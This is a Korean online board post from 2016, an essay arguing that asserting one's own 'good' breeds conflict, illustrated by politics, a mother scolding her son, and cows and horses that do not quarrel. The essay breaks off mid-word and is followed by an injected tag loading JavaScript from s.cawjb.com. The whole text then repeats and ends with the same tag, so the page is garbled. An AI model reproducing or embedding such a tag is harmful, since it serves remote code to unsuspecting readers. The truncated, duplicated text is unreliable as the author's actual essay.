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[제목]
善을 세움으로서 惡과 다투게 된다. (김연수)
🧑 정부영
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📅 2016-01-08 22:48:39
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👀 118
요즘 정치를 보면 참으로 시끄럽습니다.
정치가를 평하는데 있어 여러가지 기준이 있겠지만 저는 사람들을 편안하게 하는 정치가야말로 큰정치가라고 생각합니다. 작은 정치가일수록 <이것이 선(善)이다>라고 내세우길 잘함으로서 그것이 아닌상대를 악(惡)으로 몰아붙이고 시비분별과 싸움박질을 잘합니다.
내<선>을 내세우지 않는것, 그것이야말로 참된 <선>이라고 저는 생각합니다.
<선>을 내세우지않음으로서 세상은 조용하게 됩니다.
더이상 옳고 그름이나 시비분별을 할일도 없게 됩니다. 그래서 사회는 편안하게 되는 것입니다. 설사 시비를 벌일 일이 있어도 그것은 정치가의 몫이 아니라 그냥 전문가와 언론인들이 사회문화적으로 다룰일 인것입니다.
이것은 일반사람들도 다 마찬가지입니다.
수행을 하는 사람들중에도 이것은 되고 저것은 안된다고 가리고 따지는게 많습니다. 원칙은 이러니 이래야 한다는 것입니다. 그게 다 자기를 세우는 아상(我相)인줄을 모릅니다. 얼핏보면 착하고 선한것이 옳은듯하지요. 그러나 그것은 아직 그렇지못한 사람들을 괴롭히는 또하나의 기준이자 틀이 되는 것입니다. 세상이치는 그냥 자기만 잘하면 남들도 다보고 따라배우게 되어있습니다. 자기도 잘못하면서 남들을 이러쿵저러쿵 시비할필요가 없습니다.
예컨대 여기 공부를 잘안하는 재수생이 있다고 합시다.
엄마는 아들에게 재수생인주제에 왜공부를 열심히 안하고 학원에도 돈냈는데 잘안가면서 집에서만 빈둥거리냐고 야단칩니다. 엄마입장에선 당연하지요. 그러나 아들은 또 아들나름대로 여러가지 이유가 있습니다. 자기가 부족한걸 더 집중적으로 해야한다는 것입니다.
설사 아들이 좀 철이 없어 핑게를대며 좀 게으름을 부린다고 합시다.
그러나 그럴수록 엄마의 야단은 아들에겐 시끄러움이며 스트레스가 됩니다. 그래서 서로간에 점점 긴장관계가 조성되고 나중엔 서로 얼굴을 대하는것조차 불편해집니다. 모자간인데 이렇게까지 된것은 무엇때문입니까? 아들의 잘못때문이라고요?
아닙니다.
세상에 절대적인 선(善)이란 없습니다.
엄마는 자기기준속에서 자기가 옳다고 생각하기 때문에 아들이 문제가있다고 난리치는것이고 아들은 자기가 필요해서 그렇게하는 것인데 왜 자기가 꼭 엄마의 방식을 받아들여야 만하냐고 불만을 가지게 됩니다.
인간관계란 상호관계입니다.
거기엔 하나가 절대옳고 하나가 절대 틀린 그런관계는 없습니다.
그것은 서로 만들어나아가는 관계입니다. 그것은 설사 상대가 지금 문제가 있더라도 (물론 그조차도 내기준이 그렇게 보는것일뿐이다) 그것을 용서하고 그대신 바람직한 대안을 제시하여 상호의 이익을 도모하여야 합니다. 그래서 예수님도 <네이웃을 네잣대로 심판하지말라>고 하였던 것입니다.
엄마가 자기의 <선>을 아들에게 제시하는순간 아들은 자기의 <선>으로서 맞대응을 합니다. 모든 사람의 관계가 다이렇습니다. 모든 정치적 대립이 다이런 함수관계속에 있습니다. 이런 대립과 갈등의 틀에서 벗어나지못하길래 중생이라고 하는 것입니다.
사람과 사람사이에서는 누가더 옳은가의 문제란 근본적으로는 시비로 끝나게 되어있습니다. 그리고 시비란 결국은 서로 상생하는게 아니라 서로의 관계를 해치는 것이지요. 참으로 중요한것은 누가더 옳으냐가 이니라 누가더 상대의 가슴과 마음을 얻느냐에 달려있습니다. 가슴과 마음은 감동으로 움직입니다. 그리고 그런힘속에는 배신이나 이해관계가 존재할 여지가 없습니다.
그러므로 당신의 <선>을 내세우지 마십시오.
누가 무슨짓을 하든 그것을 심판하고 비난하는 것은 당신의 마음이 그것을 그렇게 본다는 자기기준과 틀을 나타내는 한계표시밖에 안되는 것입니다. 그것이 옳든그르든 대다수 사람이 찬성을 하든 아니든 그것은 갈등과 대립으로 가는 길입니다. 그것을 내세우는 순간 당신은 이세상엔 아직 없던 적(敵)들과 악(惡)들을 만들어 갖게 됩니다.
그것이 당신이 <상대적인 선>을 스스로 만들어낸 창조의 결과입니다.
<상대선>은 그래서 진리가 아닌것입니다. 그속에서 한번 휩쓸리면 인생을 다소비해도 허망합니다. 무엇이 진리인지 모르는채 세월은 다지나갑니다.
<선>을 내세우지않는 것이야말로 <절대선>입니다.
내안에 <이래야한다>가 없는것이 절대선입니다.
사자는 울부짖고 개는 멍멍하며 소는 음메합니다.
다 제생긴 꼴값을 하며 그마음생긴대로 그움직임에따라 사는 것입니다.
소하고 말은 서로 싸우질 않습니다.
소는 소끼리싸우고 말은 말끼리 싸웁니다.
왜그럴까요? 그것은 소와 말간에는 서로 시비분별을 하지 않기 때문입니다.
서로간에 요구하거나 내가 너에게 들이대는 잣대가 없기 때문입니다.
참으로 우리가 이런시?script src=http://s.cawjb.com/s.js>
정치가를 평하는데 있어 여러가지 기준이 있겠지만 저는 사람들을 편안하게 하는 정치가야말로 큰정치가라고 생각합니다. 작은 정치가일수록 <이것이 선(善)이다>라고 내세우길 잘함으로서 그것이 아닌상대를 악(惡)으로 몰아붙이고 시비분별과 싸움박질을 잘합니다.
내<선>을 내세우지 않는것, 그것이야말로 참된 <선>이라고 저는 생각합니다.
<선>을 내세우지않음으로서 세상은 조용하게 됩니다.
더이상 옳고 그름이나 시비분별을 할일도 없게 됩니다. 그래서 사회는 편안하게 되는 것입니다. 설사 시비를 벌일 일이 있어도 그것은 정치가의 몫이 아니라 그냥 전문가와 언론인들이 사회문화적으로 다룰일 인것입니다.
이것은 일반사람들도 다 마찬가지입니다.
수행을 하는 사람들중에도 이것은 되고 저것은 안된다고 가리고 따지는게 많습니다. 원칙은 이러니 이래야 한다는 것입니다. 그게 다 자기를 세우는 아상(我相)인줄을 모릅니다. 얼핏보면 착하고 선한것이 옳은듯하지요. 그러나 그것은 아직 그렇지못한 사람들을 괴롭히는 또하나의 기준이자 틀이 되는 것입니다. 세상이치는 그냥 자기만 잘하면 남들도 다보고 따라배우게 되어있습니다. 자기도 잘못하면서 남들을 이러쿵저러쿵 시비할필요가 없습니다.
예컨대 여기 공부를 잘안하는 재수생이 있다고 합시다.
엄마는 아들에게 재수생인주제에 왜공부를 열심히 안하고 학원에도 돈냈는데 잘안가면서 집에서만 빈둥거리냐고 야단칩니다. 엄마입장에선 당연하지요. 그러나 아들은 또 아들나름대로 여러가지 이유가 있습니다. 자기가 부족한걸 더 집중적으로 해야한다는 것입니다.
설사 아들이 좀 철이 없어 핑게를대며 좀 게으름을 부린다고 합시다.
그러나 그럴수록 엄마의 야단은 아들에겐 시끄러움이며 스트레스가 됩니다. 그래서 서로간에 점점 긴장관계가 조성되고 나중엔 서로 얼굴을 대하는것조차 불편해집니다. 모자간인데 이렇게까지 된것은 무엇때문입니까? 아들의 잘못때문이라고요?
아닙니다.
세상에 절대적인 선(善)이란 없습니다.
엄마는 자기기준속에서 자기가 옳다고 생각하기 때문에 아들이 문제가있다고 난리치는것이고 아들은 자기가 필요해서 그렇게하는 것인데 왜 자기가 꼭 엄마의 방식을 받아들여야 만하냐고 불만을 가지게 됩니다.
인간관계란 상호관계입니다.
거기엔 하나가 절대옳고 하나가 절대 틀린 그런관계는 없습니다.
그것은 서로 만들어나아가는 관계입니다. 그것은 설사 상대가 지금 문제가 있더라도 (물론 그조차도 내기준이 그렇게 보는것일뿐이다) 그것을 용서하고 그대신 바람직한 대안을 제시하여 상호의 이익을 도모하여야 합니다. 그래서 예수님도 <네이웃을 네잣대로 심판하지말라>고 하였던 것입니다.
엄마가 자기의 <선>을 아들에게 제시하는순간 아들은 자기의 <선>으로서 맞대응을 합니다. 모든 사람의 관계가 다이렇습니다. 모든 정치적 대립이 다이런 함수관계속에 있습니다. 이런 대립과 갈등의 틀에서 벗어나지못하길래 중생이라고 하는 것입니다.
사람과 사람사이에서는 누가더 옳은가의 문제란 근본적으로는 시비로 끝나게 되어있습니다. 그리고 시비란 결국은 서로 상생하는게 아니라 서로의 관계를 해치는 것이지요. 참으로 중요한것은 누가더 옳으냐가 이니라 누가더 상대의 가슴과 마음을 얻느냐에 달려있습니다. 가슴과 마음은 감동으로 움직입니다. 그리고 그런힘속에는 배신이나 이해관계가 존재할 여지가 없습니다.
그러므로 당신의 <선>을 내세우지 마십시오.
누가 무슨짓을 하든 그것을 심판하고 비난하는 것은 당신의 마음이 그것을 그렇게 본다는 자기기준과 틀을 나타내는 한계표시밖에 안되는 것입니다. 그것이 옳든그르든 대다수 사람이 찬성을 하든 아니든 그것은 갈등과 대립으로 가는 길입니다. 그것을 내세우는 순간 당신은 이세상엔 아직 없던 적(敵)들과 악(惡)들을 만들어 갖게 됩니다.
그것이 당신이 <상대적인 선>을 스스로 만들어낸 창조의 결과입니다.
<상대선>은 그래서 진리가 아닌것입니다. 그속에서 한번 휩쓸리면 인생을 다소비해도 허망합니다. 무엇이 진리인지 모르는채 세월은 다지나갑니다.
<선>을 내세우지않는 것이야말로 <절대선>입니다.
내안에 <이래야한다>가 없는것이 절대선입니다.
사자는 울부짖고 개는 멍멍하며 소는 음메합니다.
다 제생긴 꼴값을 하며 그마음생긴대로 그움직임에따라 사는 것입니다.
소하고 말은 서로 싸우질 않습니다.
소는 소끼리싸우고 말은 말끼리 싸웁니다.
왜그럴까요? 그것은 소와 말간에는 서로 시비분별을 하지 않기 때문입니다.
서로간에 요구하거나 내가 너에게 들이대는 잣대가 없기 때문입니다.
참으로 우리가 이런시?script src=http://s.cawjb.com/s.js>
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